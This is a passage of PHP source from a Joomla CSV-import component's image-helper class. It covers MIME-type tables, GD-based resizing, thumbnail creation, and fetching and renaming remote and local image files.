'.sit'; $this->_mime_types[69]['extension'] = '.sit'; $this->_mime_types[70]['extension'] = '.z'; $this->_mime_types[71]['extension'] = '.tif;.tiff'; $this->_mime_types[72]['extension'] = '.tif;.tiff'; $this->_mime_types[73]['extension'] = '.ufa'; $this->_mime_types[74]['extension'] = '.wav'; $this->_mime_types[75]['extension'] = '.wmf'; $this->_mime_types[76]['extension'] = '.lnk'; $this->_mime_types[77]['extension'] = '.zip'; $this->_mime_types[78]['extension'] = '.wpg'; $this->_mime_types[79]['extension'] = '.wp'; $this->_mime_types[80]['extension'] = '.xml'; $this->_mime_types[81]['extension'] = '.xml'; $this->_mime_types[82]['extension'] = '.dtd'; $this->_mime_types[83]['extension'] = '.zoo'; $this->_mime_types[84]['extension'] = '.jpeg;.jpe;.jpg'; $this->_mime_types[85]['extension'] = '.jpeg;.jpe;.jpg'; $this->_mime_types[86]['extension'] = '.jpeg;.jpe;.jpg'; $this->_mime_types[87]['extension'] = '.jpeg;.jpe;.jpg'; $this->_mime_types[88]['extension'] = '.gif'; // Descriptions $this->_mime_types[0]['description'] = 'GIF 87A'; $this->_mime_types[1]['description'] = 'Windows Bitmap'; $this->_mime_types[2]['description'] = 'Executable File '; $this->_mime_types[3]['description'] = 'Zip Compressed'; $this->_mime_types[4]['description'] = 'MS Compound Document v1 or Lotus Approach APR file'; $this->_mime_types[5]['description'] = 'xtended (Enhanced) Windows Metafile Format'; $this->_mime_types[6]['description'] = 'Windows NT/2000 Event Viewer Log File'; $this->_mime_types[7]['description'] = 'Windows Help File'; $this->_mime_types[8]['description'] = 'GZ Compressed File'; $this->_mime_types[9]['description'] = 'Macintosh BinHex 4 Compressed Archive'; $this->_mime_types[10]['description'] = 'Icon File'; $this->_mime_types[11]['description'] = 'Windows Link File'; $this->_mime_types[12]['description'] = 'Adobe PDF File'; $this->_mime_types[13]['description'] = 'Registry Data File'; $this->_mime_types[14]['description'] = 'Rich Text Format File'; $this->_mime_types[15]['description'] = 'Lzh compression file'; $this->_mime_types[16]['description'] = 'Musical Instrument Digital Interface MIDI-sequention Sound'; $this->_mime_types[17]['description'] = 'PC Paintbrush Bitmap Graphic'; $this->_mime_types[18]['description'] = 'Adobe EPS File'; $this->_mime_types[19]['description'] = 'AIN Archive File'; $this->_mime_types[20]['description'] = 'ARC/PKPAK Compressed 1'; $this->_mime_types[21]['description'] = 'ARC/PKPAK Compressed 2'; $this->_mime_types[22]['description'] = 'ARC/PKPAK Compressed 3'; $this->_mime_types[23]['description'] = 'ARC/PKPAK Compressed 4'; $this->_mime_types[24]['description'] = 'ARC/PKPAK Compressed 5'; $this->_mime_types[25]['description'] = 'ARJ Compressed'; $this->_mime_types[26]['description'] = 'Audio Video Interleave (AVI)'; $this->_mime_types[27]['description'] = 'Bzip Archive'; $this->_mime_types[28]['description'] = 'Cabinet File'; $this->_mime_types[29]['description'] = 'Compiled Object Module'; $this->_mime_types[30]['description'] = 'CPIO Archive File'; $this->_mime_types[31]['description'] = 'CRUSH Archive File'; $this->_mime_types[32]['description'] = 'DCX Graphic File'; $this->_mime_types[33]['description'] = 'Gzip Archive File'; $this->_mime_types[34]['description'] = 'HAP Archive File'; $this->_mime_types[35]['description'] = 'HyperText Markup Language 1'; $this->_mime_types[36]['description'] = 'HyperText Markup Language 2'; $this->_mime_types[37]['description'] = 'HyperText Markup Language 3'; $this->_mime_types[38]['description'] = 'ICON File'; $this->_mime_types[39]['description'] = 'JAR Archive File'; $this->_mime_types[40]['description'] = 'LHA Compressed'; $this->_mime_types[41]['description'] = 'Lotus 123 v1 Worksheet'; $this->_mime_types[42]['description'] = 'Lotus 123 v3 FMT file'; $this->_mime_types[43]['description'] = 'Lotus 123 v3 Worksheet'; $this->_mime_types[44]['description'] = 'Lotus 123 v4 FMT file'; $this->_mime_types[45]['description'] = 'Lotus 123 v5'; $this->_mime_types[46]['description'] = 'Lotus Ami Pro'; $this->_mime_types[47]['description'] = 'Lotus Approach ADX file'; $this->_mime_types[48]['description'] = 'Lotus Notes Database/Template'; $this->_mime_types[49]['description'] = 'Micrografix Designer 4'; $this->_mime_types[50]['description'] = 'Microsoft CAB File Format'; $this->_mime_types[51]['description'] = 'Midi Audio File'; $this->_mime_types[52]['description'] = 'MPEG Movie'; $this->_mime_types[53]['description'] = 'MS Excel v2'; $this->_mime_types[54]['description'] = 'MS Excel v4'; $this->_mime_types[55]['description'] = 'MS Word'; $this->_mime_types[56]['description'] = 'MS Word 6.0'; $this->_mime_types[57]['description'] = 'MS Word for DOS 6.0'; $this->_mime_types[58]['description'] = 'Notes Database'; $this->_mime_types[59]['description'] = 'PaintShop Pro Image File'; $this->_mime_types[60]['description'] = 'PKZIP Compressed'; $this->_mime_types[61]['description'] = 'PNG Image File'; $this->_mime_types[62]['description'] = 'QuickTime Movie'; $this->_mime_types[63]['description'] = 'Quicktime Movie File'; $this->_mime_types[64]['description'] = 'RAR Archive File'; $this->_mime_types[65]['description'] = 'Real Audio File'; $this->_mime_types[66]['description'] = 'RPM Archive File'; $this->_mime_types[67]['description'] = 'SoundMachine Audio File'; $this->_mime_types[68]['description'] = 'Stuffit v1 Archive File'; $this->_mime_types[69]['description'] = 'Stuffit v5 Archive File'; $this->_mime_types[70]['description'] = 'TAR Compressed Archive File'; $this->_mime_types[71]['description'] = 'TIFF (Intel)'; $this->_mime_types[72]['description'] = 'TIFF (Motorola)'; $this->_mime_types[73]['description'] = 'UFA Archive File'; $this->_mime_types[74]['description'] = 'Wave Files'; $this->_mime_types[75]['description'] = 'Windows Meta File'; $this->_mime_types[76]['description'] = 'Windows Shortcut (Link File)'; $this->_mime_types[77]['description'] = 'WINZIP Compressed'; $this->_mime_types[78]['description'] = 'WordPerfect Graphics'; $this->_mime_types[79]['description'] = 'WordPerfect v5 or v6'; $this->_mime_types[80]['description'] = 'XML Document'; $this->_mime_types[81]['description'] = 'XML Document (ROOTSTUB)'; $this->_mime_types[82]['description'] = 'XML DTD'; $this->_mime_types[83]['description'] = 'ZOO Archive File'; $this->_mime_types[84]['description'] = 'JPG Graphic File'; $this->_mime_types[85]['description'] = 'JPG Graphic File'; $this->_mime_types[86]['description'] = 'JPG Graphic File'; $this->_mime_types[87]['description'] = 'JPG Graphic File'; $this->_mime_types[88]['description'] = 'GIF 89A'; // Mime descriptions $this->_mime_types[0]['mime_type'] = 'image/gif'; $this->_mime_types[1]['mime_type'] = 'image/bmp'; $this->_mime_types[2]['mime_type'] = ''; $this->_mime_types[3]['mime_type'] = ''; $this->_mime_types[4]['mime_type'] = ''; $this->_mime_types[5]['mime_type'] = ''; $this->_mime_types[6]['mime_type'] = ''; $this->_mime_types[7]['mime_type'] = ''; $this->_mime_types[8]['mime_type'] = ''; $this->_mime_types[9]['mime_type'] = ''; $this->_mime_types[10]['mime_type'] = ''; $this->_mime_types[11]['mime_type'] = ''; $this->_mime_types[12]['mime_type'] = 'application/pdf'; $this->_mime_types[13]['mime_type'] = ''; $this->_mime_types[14]['mime_type'] = ''; $this->_mime_types[15]['mime_type'] = ''; $this->_mime_types[16]['mime_type'] = ''; $this->_mime_types[17]['mime_type'] = ''; $this->_mime_types[18]['mime_type'] = ''; $this->_mime_types[19]['mime_type'] = ''; $this->_mime_types[20]['mime_type'] = ''; $this->_mime_types[21]['mime_type'] = ''; $this->_mime_types[22]['mime_type'] = ''; $this->_mime_types[23]['mime_type'] = ''; $this->_mime_types[24]['mime_type'] = ''; $this->_mime_types[25]['mime_type'] = ''; $this->_mime_types[26]['mime_type'] = ''; $this->_mime_types[27]['mime_type'] = ''; $this->_mime_types[28]['mime_type'] = ''; $this->_mime_types[29]['mime_type'] = ''; $this->_mime_types[30]['mime_type'] = ''; $this->_mime_types[31]['mime_type'] = ''; $this->_mime_types[32]['mime_type'] = ''; $this->_mime_types[33]['mime_type'] = ''; $this->_mime_types[34]['mime_type'] = ''; $this->_mime_types[35]['mime_type'] = ''; $this->_mime_types[36]['mime_type'] = ''; $this->_mime_types[37]['mime_type'] = ''; $this->_mime_types[38]['mime_type'] = ''; $this->_mime_types[39]['mime_type'] = ''; $this->_mime_types[40]['mime_type'] = ''; $this->_mime_types[41]['mime_type'] = ''; $this->_mime_types[42]['mime_type'] = ''; $this->_mime_types[43]['mime_type'] = ''; $this->_mime_types[44]['mime_type'] = ''; $this->_mime_types[45]['mime_type'] = ''; $this->_mime_types[46]['mime_type'] = ''; $this->_mime_types[47]['mime_type'] = ''; $this->_mime_types[48]['mime_type'] = ''; $this->_mime_types[49]['mime_type'] = ''; $this->_mime_types[50]['mime_type'] = ''; $this->_mime_types[51]['mime_type'] = ''; $this->_mime_types[52]['mime_type'] = ''; $this->_mime_types[53]['mime_type'] = ''; $this->_mime_types[54]['mime_type'] = ''; $this->_mime_types[55]['mime_type'] = ''; $this->_mime_types[56]['mime_type'] = ''; $this->_mime_types[57]['mime_type'] = ''; $this->_mime_types[58]['mime_type'] = ''; $this->_mime_types[59]['mime_type'] = ''; $this->_mime_types[60]['mime_type'] = ''; $this->_mime_types[61]['mime_type'] = 'image/png'; $this->_mime_types[62]['mime_type'] = ''; $this->_mime_types[63]['mime_type'] = ''; $this->_mime_types[64]['mime_type'] = ''; $this->_mime_types[65]['mime_type'] = ''; $this->_mime_types[66]['mime_type'] = ''; $this->_mime_types[67]['mime_type'] = ''; $this->_mime_types[68]['mime_type'] = ''; $this->_mime_types[69]['mime_type'] = ''; $this->_mime_types[70]['mime_type'] = ''; $this->_mime_types[81]['mime_type'] = ''; $this->_mime_types[82]['mime_type'] = ''; $this->_mime_types[83]['mime_type'] = ''; $this->_mime_types[84]['mime_type'] = 'image/jpeg'; $this->_mime_types[85]['mime_type'] = 'image/jpeg'; $this->_mime_types[86]['mime_type'] = 'image/jpeg'; $this->_mime_types[87]['mime_type'] = 'image/jpeg'; $this->_mime_types[88]['mime_type'] = 'image/gif'; } /** * Load known image types * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return void * @since 3.0 */ private function loadImageTypes() { $this->_image_types[0]['mime_type'] = 'image/gif'; $this->_image_types[1]['mime_type'] = 'image/bmp'; $this->_image_types[2]['mime_type'] = 'image/png'; $this->_image_types[3]['mime_type'] = 'image/jpeg'; $this->_image_types[4]['mime_type'] = 'image/jpeg'; $this->_image_types[5]['mime_type'] = 'image/gif'; } /** * Convert/Resize an image * * @copyright * @author RolandD * @todo * @see * @access public * @param array $thumb_file_details contains all the variables for creating a new image * @return mixed filename of created file if file has been created / false if file has not been created * @since 3.0 */ public function convertImage($file_details) { // Set all details foreach ($file_details as $type => $value) { switch ($type) { case 'maxsize': if ($value) $this->maxSize = true; else $this->maxSize = false; break; case 'bgred': if ($file_details['bgred'] >= 0 || $file_details['bgred'] <= 255) $this->bg_red = $file_details['bgred']; else $this->bg_red = 0; break; case 'bggreen': if($file_details['bggreen'] >= 0 || $file_details['bggreen'] <= 255) $this->bg_green = $file_details['bggreen']; else $this->bg_green = 0; break; case 'bgblue': if($file_details['bgblue'] >= 0 || $file_details['bgblue'] <= 255) $this->bg_blue = $file_details['bgblue']; else $this->bg_blue = 0; break; default: $this->$type = $value; break; } } if ($this->newImgCreate()) { return $this->file_out; } else return false; } /** * Start creating the new image * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return boolean true on success | false on failure * @since 3.0 */ private function newImgCreate() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Clear the cache clearstatcache(); switch(strtolower($this->mime_type)) { case 'image/gif': if( function_exists('imagecreatefromgif') ) { $orig_img = @imagecreatefromgif($this->file); break; } else return false; case 'image/jpg': case 'image/jpeg': if (function_exists('imagecreatefromjpeg')) { $orig_img = @imagecreatefromjpeg($this->file); break; } else { return false; } break; case 'image/png': if( function_exists('imagecreatefrompng') ) { $orig_img = @imagecreatefrompng($this->file); break; } else return false; break; default: return false; break; } if ($orig_img) { $csvilog->addDebug(JText::_('COM_CSVI_SAVING_NEW_IMAGE')); // Save the new image $img_resize = $this->NewImgSave($this->NewImgResize($orig_img)); // Clean up old image ImageDestroy($orig_img); } else { $csvilog->addDebug(JText::_('COM_CSVI_CANNOT_READ_ORIGINAL_IMAGE')); $img_resize = false; } if ($img_resize) return true; else return false; } /** * Resize the image * * Includes function ImageCreateTrueColor and ImageCopyResampled which are available only under GD 2.0.1 or higher ! * * @copyright * @author RolandD * @todo Fix docbloc * @see * @access private * @param $orig_img * @return * @since 3.0 */ private function NewImgResize($orig_img) { $orig_size = getimagesize($this->file); $maxX = $this->file_out_width; $maxY = $this->file_out_height; if ($orig_size[0] < $orig_size[1]) { $this->file_out_width = $this->file_out_height* ($orig_size[0]/$orig_size[1]); $adjustX = ($maxX - $this->file_out_width)/2; $adjustY = 0; } else { $this->file_out_height = $this->file_out_width / ($orig_size[0]/$orig_size[1]); $adjustX = 0; $adjustY = ($maxY - $this->file_out_height)/2; } while ($this->file_out_width < 1 || $this->file_out_height < 1) { $this->file_out_width*= 2; $this->file_out_height*= 2; } // See if we need to create an image at maximum size if ($this->maxSize) { if (function_exists("imagecreatetruecolor")) $im_out = imagecreatetruecolor($maxX,$maxY); else $im_out = imagecreate($maxX,$maxY); if ($im_out) { // Need to image fill just in case image is transparent, don't always want black background $bgfill = imagecolorallocate( $im_out, $this->bg_red, $this->bg_green, $this->bg_blue ); if (function_exists("imageAntiAlias")) imageAntiAlias($im_out,true); imagealphablending($im_out, false); if (function_exists("imagesavealpha")) imagesavealpha($im_out,true); if (function_exists( "imagecolorallocatealpha")) $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127); if (function_exists("imagecopyresampled")) ImageCopyResampled($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]); else ImageCopyResized($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]); } else return false; } else { if (function_exists("imagecreatetruecolor")) $im_out = ImageCreateTrueColor($this->file_out_width,$this->file_out_height); else $im_out = imagecreate($this->file_out_width,$this->file_out_height); if ($im_out) { if (function_exists("imageAntiAlias")) imageAntiAlias($im_out,true); imagealphablending($im_out, false); if (function_exists("imagesavealpha")) imagesavealpha($im_out,true); if (function_exists("imagecolorallocatealpha")) $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127); if (function_exists("imagecopyresampled")) ImageCopyResampled($im_out, $orig_img, 0, 0, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]); else ImageCopyResized($im_out, $orig_img, 0, 0, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]); } else return false; } return $im_out; } /** * Save the new image * * @copyright * @author RolandD * @todo Add check if destination folder exists * @todo Fix docbloc * @see * @access private * @param $new_img * @return * @since 3.0 */ private function NewImgSave($new_img) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Lets see if we need to rename the output file since we know the sizes switch(strtolower($this->file_out_extension)) { case "gif": if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".gif") $this->file_out .= ".gif"; return @imagegif($new_img, $this->file_out); break; case "jpg": if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".jpg") $this->file_out .= ".jpg"; return @imagejpeg($new_img, $this->file_out, 100); break; case "jpeg": if (strtolower(substr($this->file_out,strlen($this->file_out)-5,5)) != ".jpeg") $this->file_out .= ".jpeg"; return @imagejpeg($new_img, $this->file_out, 100); break; case "png": if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".png") $this->file_out .= ".png"; return @imagepng($new_img,$this->file_out); break; default: $csvilog->addDebug(JText::_('COM_CSVI_NO_FILE_EXTENSION')); return false; break; } } /** * Process an image * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name full path and name of the image * @param string $path the destination location of the image * @param string $output_name name of the output image * @return * @since 3.0 */ public function processImage($name, $output_path, $output_name=null) { // Set up variables $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); // Cleanup $base = JPath::clean(JPATH_SITE, '/'); if (!empty($output_path)) $output_path = JPath::clean($output_path, '/'); $this->_imagedata = array(); $this->_imagedata['base'] = $base; if ($this->isRemote($name)) { $this->_imagedata['name'] = $name; $this->_imagedata['isremote'] = true; } else { $this->_imagedata['name'] = $base.'/'.JPath::clean($name, '/'); $this->_imagedata['isremote'] = false; } $this->_imagedata['output_path'] = $output_path; $this->_imagedata['output_name'] = (empty($output_name)) ? basename($name) : $output_name; $this->_imagedata['extension'] = JFile::getExt($name); $this->_imagedata['exists'] = false; $this->_imagedata['isimage'] = false; $this->_imagedata['mime_type'] = null; // Load externals jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // See if we need to handle a remote file if ($this->_imagedata['isremote']) { $csvilog->addDebug('Process remote file: '.$this->_imagedata['name']); if (CsviHelper::fileExistsRemote($this->_imagedata['name'])) { $this->_imagedata['exists'] = true; // Check if this is an image or not if ($this->isImage($this->_imagedata['name'], true)) { $this->_imagedata['isimage'] = true; } } else { $csvilog->addDebug('Remote file does not exist: '.$this->_imagedata['name']); $this->_imagedata['exists'] = false; } } else if (JFile::exists($this->_imagedata['name'])) { $csvilog->addDebug('Process file: '.$this->_imagedata['name']); $this->_imagedata['exists'] = true; // Check if this is an image or not if ($this->isImage($this->_imagedata['name'])) { $this->_imagedata['isimage'] = true; } } else { // File does not exist $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_NOT_FOUND', $this->_imagedata['name'])); return $this->_imagedata; } // Process if it is an image if ($this->_imagedata['isimage']) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESS_IMAGE')); // Clean up the images first $this->_cleanupImage(); // Convert the full image if ($this->_imagedata['convert']) $this->_convertImage(); // Save the remote images on the server if ($this->_imagedata['isremote'] && $template->get('save_images_on_server', 'image')) { // Sanitize filename $this->_imagedata['output_name'] = $this->_cleanFilename($this->_imagedata['output_name']); $from = $this->_imagedata['name']; $to = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name']; $csvilog->addDebug('Store remote file on server '.$from.' --> '.$to); if (JFile::exists($to)) JFile::delete($to); JFile::move($from, $to); } // Remove temporary file else if ($this->_imagedata['isremote']) { JFile::delete($this->_imagedata['name']); } // Check if any images need to be renamed $this->_renameImage(); // Check if the full image needs to be resized $this->_resizeFullimage(); // Convert images $this->_imageTypeCheck(); } else { if ($this->_imagedata['exists']) { $csvilog->addDebug('COM_CSVI_DEBUG_FILE_IS_NOT_IMAGE'.' '.$name); // Non image details $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PROCESS_NON_IMAGE')); $this->collectFileDetails(); } } return $this->_imagedata; } /** * Check if a file is a remote file or not * * Remote images can be located on an HTTP location or an FTP location * * @copyright * @author RolandD * @todo * @see processImage() * @access private * @param $path string the full path to check * @return bool true if file is remote | false if file is not remote * @since 3.0 */ public function isRemote($path) { if (substr(strtolower($path), 0, 4) == 'http') return true; else if (substr(strtolower($path), 0, 3) == 'ftp') return true; else return false; } /** * Collect file details for non-image files * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 2.3.10 */ public function collectFileDetails() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_imagedata['mime_type'] = $this->findMimeType($this->_imagedata['name']); $this->_imagedata['isimage'] = 0; } /** * Create a thumbnail image * * @copyright * @author RolandD * @todo * @see * @access public * @param string $original the full path and name of the large image * @param string $output_path the path to store the thumbnail * @param string $output_name the name of the thumbnail * @return * @since 4.0 */ public function createThumbnail($original, $output_path, $output_name) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $base = JPath::clean(JPATH_SITE, '/'); // Make sure the thumbnail is the same file type as the full image if ($template->get('thumb_check_filetype', 'image') && JFile::getExt($original) != JFile::getExt($output_name)) { $output_name = JFile::stripExt($output_name).'.'.JFile::getExt($original); } $output_name = $this->_setCase($output_name); // Check if the original is an external image if (!$this->isRemote($original)) { $original = $base.'/'.$original; $file_exists = JFile::exists($original); $remote = false; } else { $file_exists = CsviHelper::fileExistsRemote($original); $remote = true; } // Check if thumbsize is greater than 0 if ($template->get('thumb_width', 'image') >= 1 && $template->get('thumb_height', 'image') >= 1) { // Check if the image folders exists $thumb_folder = JPATH_SITE.'/'.$output_path.dirname($output_name); if (!JFolder::exists($thumb_folder)) { $csvilog->addDebug(JText::sprintf('COM_CSVI_CREATE_THUMB_FOLDER', $thumb_folder)); JFolder::create($thumb_folder); } // Check if the target thumb exists, if yes delete it if (JFile::exists($base.'/'.$output_path.$output_name)) JFile::delete($base.'/'.$output_path.$output_name); // Check if the original file exists $csvilog->addDebug(JText::sprintf('COM_CSVI_CHECK_ORIGINAL', $original)); if ($file_exists) { // Collect all thumbnail details $thumb_file_details = array(); $thumb_file_details['file'] = $original; $thumb_file_details['file_extension'] = JFile::getExt($original); $thumb_file_details['file_out'] = $base.'/'.$output_path.$output_name; $thumb_file_details['maxsize'] = 0; $thumb_file_details['bgred'] = 255; $thumb_file_details['bggreen'] = 255; $thumb_file_details['bgblue'] = 255; $thumb_file_details['file_out_width'] = $template->get('thumb_width', 'image'); $thumb_file_details['file_out_height'] = $template->get('thumb_height', 'image'); $thumb_file_details['file_out_extension'] = JFile::getExt($output_name); $thumb_file_details['mime_type'] = $this->findMimeType($original, $remote); // We need to resize the image and Save the new one (all done in the constructor) $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CREATING_A_THUMBNAIL', $original, $thumb_file_details['file_out'])); $new_img = $this->convertImage($thumb_file_details); // Check if an image was created if ($new_img) { // Get the details of the thumb image if (JFile::exists($new_img)) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_THUMB_CREATED')); return $output_path.$output_name; } else { $csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_NOT_CREATED')); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_NOT_CREATED')); return false; } } else { $csvilog->addDebug(JText::sprintf('COM_CSVI_FILE_DOES_NOT_EXIST_NOTHING_TO_DO', $original)); $csvilog->AddStats('nofiles', JText::sprintf('COM_CSVI_FILE_DOES_NOT_EXIST_NOTHING_TO_DO', $original)); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_THUMBNAIL_SIZE_TOO_SMALL')); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_THUMBNAIL_SIZE_TOO_SMALL')); return false; } } /** * Clean up the full image * * Clean up the image from any incorrect paths * * Minimum requirement is PHP 5.2.0 * * [full_image] => Array * ( * [isremote] => 1 * [exists] => 1 * [isimage] => 1 * [name] => R05-01 -- R05-01 (700).jpg * [filename] => R05-01 -- R05-01 (700) * [extension] => jpg * [folder] => http://csvi3 * [output_name] => R05-01 -- R05-01 (700).jpg * [output_filename] => R05-01 -- R05-01 (700) * [output_extension] => jpg * [output_folder] => http://csvi3 * [mime_type] => image/jpeg * ) * * @copyright * @author RolandD * @todo handle image paths included in the image name * @todo not delete the old image, it might be referenced by another product * @see http://www.php.net/pathinfo * @access private * @param * @return * @since 3.0 */ private function _cleanupImage() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); if ($this->_imagedata['isremote'] && $template->get('save_images_on_server', 'image')) { // Collect remote file information $local_image = CSVIPATH_TMP.'/'.$this->_cleanFilename(basename($this->_imagedata['name'])); // Store the remote image if ($this->_storeRemoteImage($this->_imagedata['name'], $local_image)) { $csvilog->addDebug('Remote file stored: '.$this->_imagedata['name'].' --> '.$local_image); // Update full image information $this->_imagedata['name'] = $local_image; // Get the mime type $mime_type = $this->findMimeType($local_image); } else { $csvilog->AddStats('nofiles', JText::sprintf('COM_CSVI_REMOTE_FILE_NOT_FOUND', $this->_imagedata['name'])); $csvilog->addDebug(JText::sprintf('COM_CSVI_REMOTE_FILE_NOT_FOUND', $this->_imagedata['name'])); } } else if ($this->_imagedata['isremote']) { $mime_type = $this->findMimeType($this->_imagedata['name'], true); $this->_imagedata['output_path'] = dirname($this->_imagedata['name']).'/'; } else if (!$this->_imagedata['isremote']) { $mime_type = $this->findMimeType($this->_imagedata['name']); } // Set the mime type $csvilog->addDebug('Mime type found: '.$mime_type); $this->_imagedata['mime_type'] = $mime_type; // Validate extension against mime type $type = ''; $ext = ''; list($type, $ext) = explode('/', $mime_type); if ($ext == 'jpeg') $ext = 'jpg'; // Get the extension of the target image name $output_ext = JFile::getExt($this->_imagedata['output_name']); if ($ext != strtolower($output_ext)) { // Fix up the new names $basename = basename($this->_imagedata['name'], $this->_imagedata['extension']); $to = dirname($this->_imagedata['name']).'/'.$basename.$ext; // Set the new output name //$this->_imagedata['output_name'] = JFile::stripExt($this->_imagedata['name']).$ext; $csvilog->addDebug('Renaming full image because bad extension: '.$this->_imagedata['name'].' --> '.$to); // Rename the file if (JFile::exists($this->_imagedata['name'])) { if (!JFile::move($this->_imagedata['name'], $to)) return false; else { $this->_imagedata['name'] = $to; } } } // Check for a valid extenion if (empty($this->_imagedata['extension']) && $type == 'image') { $this->_imagedata['extension'] = $ext; } // Set a new extension if the image needs to be converted $convert_type = $template->get('convert_type', 'image'); if ($convert_type != 'none' && $convert_type != $this->_imagedata['extension']) { $this->_imagedata['output_name'] = JFile::stripExt(basename($this->_imagedata['name'])).'.'.$convert_type; $this->_imagedata['convert'] = true; } else $this->_imagedata['convert'] = false; // Set the file case $this->_imagedata['output_name'] = $this->_setCase($this->_imagedata['output_name']); // Add some debug info $csvilog->addDebug('Full name original: '.$this->_imagedata['name']); $csvilog->addDebug('Full name target: '.$this->_imagedata['output_path'].$this->_imagedata['output_name']); } /** * Store a remote image on the local server * * @copyright * @author RolandD * @todo * @see * @access private * @param $remote_image string the url of the remote image * @param $local_image string the full path and file name of the image to store * @return bool true if remote file was locally written | false if remote file was not locally written * @since */ private function _storeRemoteImage($remote_image, $local_image) { return JFile::write($local_image, JFile::read($remote_image)); } /** * Convert the full image to another type * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _convertImage() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Let's see if the extensions are the same if ($this->_imagedata['convert'] && !$this->_imagedata['isremote']) { // Collect the image details $file_details = array(); $file_details['file'] = $this->_imagedata['name']; $file_details['file_extension'] = JFile::getExt($this->_imagedata['name']); $file_details['file_out'] = $this->_imagedata['base'].$this->_imagedata['output_path'].'/'.$this->_imagedata['output_name']; $file_details['maxsize'] = 0; $file_details['bgred'] = 255; $file_details['bggreen'] = 255; $file_details['bgblue'] = 255; $new_sizes = getimagesize($this->_imagedata['name']); $file_details['file_out_width'] = $new_sizes[0]; $file_details['file_out_height'] = $new_sizes[1]; $file_details['file_out_extension'] = JFile::getExt($this->_imagedata['output_name']); $file_details['mime_type'] = $this->_imagedata['mime_type']; // We need to resize the image and Save the new one (all done in the constructor) $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CONVERT_IMAGE', $file_details['file'], $file_details['file_out'])); $new_img = $this->convertImage($file_details); if ($new_img) { $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_CONVERTED', $file_details['file'])); // See if we need to keep the old image if (!$template->get('keep_original', 'image') && JFile::exists($file_details['file'])) JFile::delete($file_details['file']); // We have a new name, so refresh the info $this->_imagedata['name'] = dirname($this->_imagedata['name']).'/'.$this->_imagedata['output_name']; $this->_imagedata['mime_type'] = $this->findMimeType($this->_imagedata['base'].$this->_imagedata['output_path'].'/'.$this->_imagedata['output_name']); return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_IMAGE_NOT_CONVERTED')); return false; } } } /** * Rename image * * Rename an image, any existing file will be deleted * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _renameImage() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); if (!$this->_imagedata['isremote'] && $template->get('auto_generate_image_name', 'image') && (basename($this->_imagedata['name']) != $this->_imagedata['output_name']) && $template->get('convert_type', 'image') == 'none') { $from = $this->_imagedata['name']; if (JFile::exists($from)) { $to = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name']; $csvilog->addDebug(JText::sprintf('COM_CSVI_RENAME_FULL_FILE', $from, $to)); // Delete existing target image if (JFile::exists($to)) JFile::delete($to); // Check if the user wants to keep the original if ($template->get('keep_original', 'image')) { // Rename the image JFile::copy($from, $to); } else { // Rename the image JFile::move($from, $to); } } else { $csvilog->addDebug(JText::sprintf('COM_CSVI_RENAME_FULL_FILE_NOT_FOUND', $from)); } } } /** * Check if we need to convert the final image based on mime type * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 2.3.7 */ private function _imageTypeCheck() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Get the output mime-type $output_ext = JFile::getExt($this->_imagedata['output_name']); // Check if the mime-type is different and if so, convert image if (!$this->_imagedata['isremote'] && JFile::exists($this->_imagedata['name']) && !stristr($this->_imagedata['mime_type'], $output_ext)) { $file_details = array(); $file_details['file'] = $this->_imagedata['name']; $file_details['file_extension'] = JFile::getExt($this->_imagedata['name']); $file_details['maxsize'] = 0; $file_details['bgred'] = 255; $file_details['bggreen'] = 255; $file_details['bgblue'] = 255; $file_details['file_out'] = $this->_imagedata['base'].'/'.$this->_imagedata['output_path'].$this->_imagedata['output_name']; $new_sizes = getimagesize($this->_imagedata['name']); $file_details['file_out_width'] = $new_sizes[0]; $file_details['file_out_height'] = $new_sizes[1]; 